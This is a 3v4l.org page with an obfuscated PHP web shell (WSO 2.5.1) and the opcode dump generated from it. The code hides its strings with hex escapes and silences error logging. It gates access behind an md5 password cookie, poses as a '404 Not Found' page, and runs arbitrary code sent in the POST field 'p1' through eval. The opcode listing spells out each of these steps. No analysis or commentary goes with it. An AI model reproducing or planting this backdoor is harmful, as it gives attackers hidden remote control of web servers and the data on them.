3v4l.org

run code in 300+ PHP versions simultaneously
<?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 70, Position 2 = 85
Branch analysis from position: 70
2 jumps found. (Code = 43) Position 1 = 89, Position 2 = 137
Branch analysis from position: 89
2 jumps found. (Code = 46) Position 1 = 94, Position 2 = 102
Branch analysis from position: 94
2 jumps found. (Code = 43) Position 1 = 103, Position 2 = 115
Branch analysis from position: 103
2 jumps found. (Code = 47) Position 1 = 124, Position 2 = 134
Branch analysis from position: 124
2 jumps found. (Code = 43) Position 1 = 135, Position 2 = 137
Branch analysis from position: 135
2 jumps found. (Code = 43) Position 1 = 140, Position 2 = 169
Branch analysis from position: 140
2 jumps found. (Code = 46) Position 1 = 150, Position 2 = 158
Branch analysis from position: 150
2 jumps found. (Code = 43) Position 1 = 159, Position 2 = 166
Branch analysis from position: 159
1 jumps found. (Code = 42) Position 1 = 169
Branch analysis from position: 169
2 jumps found. (Code = 46) Position 1 = 173, Position 2 = 180
Branch analysis from position: 173
2 jumps found. (Code = 43) Position 1 = 181, Position 2 = 186
Branch analysis from position: 181
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 186
Branch analysis from position: 180
Branch analysis from position: 166
2 jumps found. (Code = 46) Position 1 = 173, Position 2 = 180
Branch analysis from position: 173
Branch analysis from position: 180
Branch analysis from position: 158
Branch analysis from position: 169
Branch analysis from position: 137
Branch analysis from position: 134
Branch analysis from position: 115
Branch analysis from position: 102
Branch analysis from position: 137
Branch analysis from position: 85
filename:       /in/mMoik
function name:  (null)
number of ops:  188
compiled vars:  !0 = $oboikuury, !1 = $qyvsdolpq, !2 = $rhavvlolc, !3 = $ssfmrro
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $4      'GLOBALS'
          1        ASSIGN_DIM                                               $4, 'vrvweypznipu'
          2        OP_DATA                                                  'a'
          3        FETCH_W                      global              $6      'GLOBALS'
          4        ASSIGN_DIM                                               $6, 'griuefbdqc'
          5        OP_DATA                                                  'auth_pass'
          6        FETCH_W                      global              $8      'GLOBALS'
          7        ASSIGN_DIM                                               $8, 'ctxvtooknmju'
          8        OP_DATA                                                  'v'
          9        FETCH_W                      global              $10     'GLOBALS'
         10        ASSIGN_DIM                                               $10, 'pioykcea'
         11        OP_DATA                                                  'default_use_ajax'
         12        FETCH_W                      global              $12     'GLOBALS'
         13        ASSIGN_DIM                                               $12, 'iwirmxlqtvyp'
         14        OP_DATA                                                  'default_action'
         15        FETCH_W                      global              $14     'GLOBALS'
         16        ASSIGN_DIM                                               $14, 'dwembjc'
         17        OP_DATA                                                  'color'
         18        FETCH_R                      global              ~16     'GLOBALS'
         19        FETCH_DIM_R                                      ~17     ~16, 'dwembjc'
         20        FETCH_W                      local               $18     ~17
         21        ASSIGN                                                   $18, '%23df5'
         22        FETCH_R                      global              ~20     'GLOBALS'
         23        FETCH_DIM_R                                      ~21     ~20, 'iwirmxlqtvyp'
         24        FETCH_W                      local               $22     ~21
         25        ASSIGN                                                   $22, 'FilesMan'
         26        ASSIGN                                                   !0, 'default_charset'
         27        FETCH_R                      global              ~25     'GLOBALS'
         28        FETCH_DIM_R                                      ~26     ~25, 'pioykcea'
         29        FETCH_W                      local               $27     ~26
         30        ASSIGN                                                   $27, <true>
         31        FETCH_W                      local               $29     !0
         32        ASSIGN                                                   $29, 'Windows-1251'
         33        BEGIN_SILENCE                                    ~31     
         34        INIT_FCALL                                               'ini_set'
         35        SEND_VAL                                                 'error_log'
         36        SEND_VAL                                                 null
         37        DO_ICALL                                                 
         38        END_SILENCE                                              ~31
         39        BEGIN_SILENCE                                    ~33     
         40        INIT_FCALL                                               'ini_set'
         41        SEND_VAL                                                 'log_errors'
         42        SEND_VAL                                                 0
         43        DO_ICALL                                                 
         44        END_SILENCE                                              ~33
         45        BEGIN_SILENCE                                    ~35     
         46        INIT_FCALL                                               'ini_set'
         47        SEND_VAL                                                 'max_execution_time'
         48        SEND_VAL                                                 0
         49        DO_ICALL                                                 
         50        END_SILENCE                                              ~35
         51        BEGIN_SILENCE                                    ~37     
         52        INIT_FCALL                                               'set_time_limit'
         53        SEND_VAL                                                 0
         54        DO_ICALL                                                 
         55        END_SILENCE                                              ~37
         56        BEGIN_SILENCE                                    ~39     
         57        INIT_FCALL_BY_NAME                                       'set_magic_quotes_runtime'
         58        SEND_VAL_EX                                              0
         59        DO_FCALL                                      0          
         60        END_SILENCE                                              ~39
         61        BEGIN_SILENCE                                    ~41     
         62        INIT_FCALL                                               'define'
         63        SEND_VAL                                                 'WSO_VERSION'
         64        SEND_VAL                                                 '2.5.1'
         65        DO_ICALL                                                 
         66        END_SILENCE                                              ~41
         67        INIT_FCALL_BY_NAME                                       'get_magic_quotes_gpc'
         68        DO_FCALL                                      0  $43     
         69      > JMPZ                                                     $43, ->85
         70    >   DECLARE_FUNCTION                                         'wsostripslashes'
         71        INIT_FCALL_BY_NAME                                       'WSOstripslashes'
         72        CHECK_FUNC_ARG                                           
         73        FETCH_FUNC_ARG               global              $45     '_POST'
         74        SEND_FUNC_ARG                                            $45
         75        DO_FCALL                                      0  $46     
         76        FETCH_W                      global              $44     '_POST'
         77        ASSIGN                                                   $44, $46
         78        INIT_FCALL_BY_NAME                                       'WSOstripslashes'
         79        CHECK_FUNC_ARG                                           
         80        FETCH_FUNC_ARG               global              $49     '_COOKIE'
         81        SEND_FUNC_ARG                                            $49
         82        DO_FCALL                                      0  $50     
         83        FETCH_W                      global              $48     '_COOKIE'
         84        ASSIGN                                                   $48, $50
         85    >   ASSIGN                                                   !1, 'auth_pass'
         86        ISSET_ISEMPTY_VAR                             5  ~53     !1
         87        BOOL_NOT                                         ~54     ~53
         88      > JMPZ                                                     ~54, ->137
         89    >   ASSIGN                                                   !2, 'auth_pass'
         90        ASSIGN                                                   !3, 'auth_pass'
         91        FETCH_IS                                         ~57     '_POST'
         92        ISSET_ISEMPTY_DIM_OBJ                         0  ~58     ~57, 'pass'
         93      > JMPZ_EX                                          ~58     ~58, ->102
         94    >   INIT_FCALL                                               'md5'
         95        FETCH_R                      global              ~59     '_POST'
         96        FETCH_DIM_R                                      ~60     ~59, 'pass'
         97        SEND_VAL                                                 ~60
         98        DO_ICALL                                         $61     
         99        FETCH_R                      local               ~62     !3
        100        IS_EQUAL                                         ~63     $61, ~62
        101        BOOL                                             ~58     ~63
        102    > > JMPZ                                                     ~58, ->115
        103    >   INIT_FCALL                                               'wsosetcookie'
        104        INIT_FCALL                                               'md5'
        105        FETCH_R                      global              ~64     '_SERVER'
        106        FETCH_DIM_R                                      ~65     ~64, 'HTTP_HOST'
        107        SEND_VAL                                                 ~65
        108        DO_ICALL                                         $66     
        109        SEND_VAR                                                 $66
        110        FETCH_R                      global              ~67     'GLOBALS'
        111        FETCH_DIM_R                                      ~68     ~67, 'griuefbdqc'
        112        FETCH_R                      local               ~69     ~68
        113        SEND_VAL                                                 ~69
        114        DO_FCALL                                      0          
        115    >   INIT_FCALL                                               'md5'
        116        FETCH_R                      global              ~72     '_SERVER'
        117        FETCH_DIM_R                                      ~73     ~72, 'HTTP_HOST'
        118        SEND_VAL                                                 ~73
        119        DO_ICALL                                         $74     
        120        FETCH_IS                                         ~71     '_COOKIE'
        121        ISSET_ISEMPTY_DIM_OBJ                         0  ~75     ~71, $74
        122        BOOL_NOT                                         ~76     ~75
        123      > JMPNZ_EX                                         ~76     ~76, ->134
        124    >   INIT_FCALL                                               'md5'
        125        FETCH_R                      global              ~78     '_SERVER'
        126        FETCH_DIM_R                                      ~79     ~78, 'HTTP_HOST'
        127        SEND_VAL                                                 ~79
        128        DO_ICALL                                         $80     
        129        FETCH_R                      global              ~77     '_COOKIE'
        130        FETCH_DIM_R                                      ~81     ~77, $80
        131        FETCH_R                      local               ~82     !2
        132        IS_NOT_EQUAL                                     ~83     ~81, ~82
        133        BOOL                                             ~76     ~83
        134    > > JMPZ                                                     ~76, ->137
        135    >   INIT_FCALL                                               'wsologin'
        136        DO_FCALL                                      0          
        137    >   FETCH_IS                                         ~85     '_POST'
        138        ISSET_ISEMPTY_DIM_OBJ                         1          ~85, 'a'
        139      > JMPZ                                                     ~86, ->169
        140    >   FETCH_W                      global              $87     'GLOBALS'
        141        ASSIGN_DIM                                               $87, 'isvexy'
        142        OP_DATA                                                  'default_action'
        143        FETCH_W                      global              $89     'GLOBALS'
        144        ASSIGN_DIM                                               $89, 'uoechymzddd'
        145        OP_DATA                                                  'default_action'
        146        FETCH_R                      global              ~91     'GLOBALS'
        147        FETCH_DIM_R                                      ~92     ~91, 'iwirmxlqtvyp'
        148        ISSET_ISEMPTY_VAR                             4  ~93     ~92
        149      > JMPZ_EX                                          ~93     ~93, ->158
        150    >   INIT_FCALL                                               'function_exists'
        151        FETCH_R                      global              ~94     'GLOBALS'
        152        FETCH_DIM_R                                      ~95     ~94, 'uoechymzddd'
        153        FETCH_R                      local               ~96     ~95
        154        CONCAT                                           ~97     'action', ~96
        155        SEND_VAL                                                 ~97
        156        DO_ICALL                                         $98     
        157        BOOL                                             ~93     $98
        158    > > JMPZ                                                     ~93, ->166
        159    >   FETCH_R                      global              ~101    'GLOBALS'
        160        FETCH_DIM_R                                      ~102    ~101, 'isvexy'
        161        FETCH_R                      local               ~103    ~102
        162        FETCH_W                      global              $99     '_POST'
        163        ASSIGN_DIM                                               $99, 'a'
        164        OP_DATA                                                  ~103
        165      > JMP                                                      ->169
        166    >   FETCH_W                      global              $104    '_POST'
        167        ASSIGN_DIM                                               $104, 'a'
        168        OP_DATA                                                  'SecInfo'
        169    >   FETCH_IS                                         ~106    '_POST'
        170        ISSET_ISEMPTY_DIM_OBJ                         1  ~107    ~106, 'a'
        171        BOOL_NOT                                         ~108    ~107
        172      > JMPZ_EX                                          ~108    ~108, ->180
        173    >   INIT_FCALL                                               'function_exists'
        174        FETCH_R                      global              ~109    '_POST'
        175        FETCH_DIM_R                                      ~110    ~109, 'a'
        176        CONCAT                                           ~111    'action', ~110
        177        SEND_VAL                                                 ~111
        178        DO_ICALL                                         $112    
        179        BOOL                                             ~108    $112
        180    > > JMPZ                                                     ~108, ->186
        181    >   FETCH_R                      global              ~113    '_POST'
        182        FETCH_DIM_R                                      ~114    ~113, 'a'
        183        CONCAT                                           ~115    'action', ~114
        184        INIT_USER_CALL                                0          'call_user_func', ~115
        185        DO_FCALL                                      0          
        186    > > EXIT                                                     
        187*     > RETURN                                                   1

Function %00wsostripslashes%2Fin%2FmMoik%3A1%240:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 22
Branch analysis from position: 13
1 jumps found. (Code = 42) Position 1 = 27
Branch analysis from position: 27
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 22
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/mMoik
function name:  WSOstripslashes
number of ops:  29
compiled vars:  !0 = $array, !1 = $cfnrvu
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   RECV                                             !0      
          1        FETCH_W                      global              $2      'GLOBALS'
          2        ASSIGN_DIM                                               $2, 'zdizbsuefa'
          3        OP_DATA                                                  'array'
          4        ASSIGN                                                   !1, 'array'
          5        FETCH_W                      global              $5      'GLOBALS'
          6        ASSIGN_DIM                                               $5, 'kcltlpds'
          7        OP_DATA                                                  'array'
          8        FETCH_R                      global              ~7      'GLOBALS'
          9        FETCH_DIM_R                                      ~8      ~7, 'zdizbsuefa'
         10        FETCH_R                      local               ~9      ~8
         11        TYPE_CHECK                                  128          ~9
         12      > JMPZ                                                     ~10, ->22
         13    >   INIT_FCALL                                               'array_map'
         14        SEND_VAL                                                 'WSOstripslashes'
         15        FETCH_R                      global              ~11     'GLOBALS'
         16        FETCH_DIM_R                                      ~12     ~11, 'kcltlpds'
         17        FETCH_R                      local               ~13     ~12
         18        SEND_VAL                                                 ~13
         19        DO_ICALL                                         $14     
         20        QM_ASSIGN                                        ~15     $14
         21      > JMP                                                      ->27
         22    >   INIT_FCALL                                               'stripslashes'
         23        FETCH_R                      local               ~16     !1
         24        SEND_VAL                                                 ~16
         25        DO_ICALL                                         $17     
         26        QM_ASSIGN                                        ~15     $17
         27    > > RETURN                                                   ~15
         28*     > RETURN                                                   null

End of function %00wsostripslashes%2Fin%2FmMoik%3A1%240

Function wsologin:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/mMoik
function name:  wsoLogin
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   INIT_FCALL                                               'header'
          1        SEND_VAL                                                 'HTTP%2F1.0+404+Not+Found'
          2        DO_ICALL                                                 
          3      > EXIT                                                     '404'
          4*     > RETURN                                                   null

End of function wsologin

Function wsosetcookie:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/mMoik
function name:  WSOsetcookie
number of ops:  23
compiled vars:  !0 = $k, !1 = $v, !2 = $cjtmrt, !3 = $raogrsixpi
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        FETCH_W                      global              $4      'GLOBALS'
          3        ASSIGN_DIM                                               $4, 'gvflxmt'
          4        OP_DATA                                                  'k'
          5        ASSIGN                                                   !2, 'v'
          6        FETCH_R                      global              ~8      'GLOBALS'
          7        FETCH_DIM_R                                      ~9      ~8, 'gvflxmt'
          8        FETCH_R                      local               ~10     ~9
          9        FETCH_R                      global              ~12     'GLOBALS'
         10        FETCH_DIM_R                                      ~13     ~12, 'ctxvtooknmju'
         11        FETCH_R                      local               ~14     ~13
         12        FETCH_W                      global              $7      '_COOKIE'
         13        ASSIGN_DIM                                               $7, ~10
         14        OP_DATA                                                  ~14
         15        ASSIGN                                                   !3, 'k'
         16        INIT_FCALL                                               'setcookie'
         17        FETCH_R                      local               ~16     !3
         18        SEND_VAL                                                 ~16
         19        FETCH_R                      local               ~17     !2
         20        SEND_VAL                                                 ~17
         21        DO_ICALL                                                 
         22      > RETURN                                                   null

End of function wsosetcookie

Function actionrc:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 31
Branch analysis from position: 6
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 31
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/mMoik
function name:  actionRC
number of ops:  35
compiled vars:  !0 = $ugtfpiyrum
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   BEGIN_SILENCE                                    ~1      
          1        FETCH_R                      global              ~2      '_POST'
          2        FETCH_DIM_R                                      ~3      ~2, 'p1'
          3        END_SILENCE                                              ~1
          4        BOOL_NOT                                         ~4      ~3
          5      > JMPZ                                                     ~4, ->31
          6    >   ASSIGN                                                   !0, 'a'
          7        FETCH_R                      global              ~6      'GLOBALS'
          8        FETCH_DIM_R                                      ~7      ~6, 'vrvweypznipu'
          9        INIT_FCALL                                               'php_uname'
         10        DO_ICALL                                         $9      
         11        INIT_ARRAY                                       ~10     $9, 'uname'
         12        INIT_FCALL                                               'phpversion'
         13        DO_ICALL                                         $11     
         14        ADD_ARRAY_ELEMENT                                ~10     $11, 'php_version'
         15        FETCH_CONSTANT                                   ~12     'WSO_VERSION'
         16        ADD_ARRAY_ELEMENT                                ~10     ~12, 'wso_version'
         17        BEGIN_SILENCE                                    ~13     
         18        INIT_FCALL                                               'ini_get'
         19        SEND_VAL                                                 'safe_mode'
         20        DO_ICALL                                         $14     
         21        END_SILENCE                                              ~13
         22        ADD_ARRAY_ELEMENT                                ~10     $14, 'safemode'
         23        FETCH_W                      local               $8      ~7
         24        ASSIGN                                                   $8, ~10
         25        INIT_FCALL                                               'serialize'
         26        FETCH_R                      local               ~16     !0
         27        SEND_VAL                                                 ~16
         28        DO_ICALL                                         $17     
         29        ECHO                                                     $17
         30      > JMP                                                      ->34
         31    >   FETCH_R                      global              ~18     '_POST'
         32        FETCH_DIM_R                                      ~19     ~18, 'p1'
         33        INCLUDE_OR_EVAL                                          ~19, EVAL
         34    > > RETURN                                                   null

End of function actionrc

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.74 ms | 1423 KiB | 41 Q